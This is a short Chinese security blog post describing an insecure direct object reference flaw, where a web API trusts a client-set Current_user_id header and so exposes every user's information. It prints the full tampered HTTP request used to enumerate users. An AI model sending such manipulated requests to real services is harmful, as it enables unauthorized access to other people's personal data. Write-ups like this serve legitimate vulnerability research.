记一次越权漏洞
记一次越权漏洞
sec0nd安全 2025-04-30 11:23
开局一个手机号登陆出,没别的功能。提取接口都有鉴权。
测试短信轰炸,验证码复用,绑定漏洞也不行。但是用自己手机号登录后有一个接口有点奇怪,测了下可以遍历全站所有用户的信息,是用Current_user_id做用户权限校验的,上面的usserId是个幌子。GET /api/user/getUserInfo?userId=64370 HTTP/1.1
Host: :8085
Sec-Ch-Ua-Platform: "Windows"
Current_user_id: 64371
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Userapi-Validate-Appid: jtpt03
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: keep-alive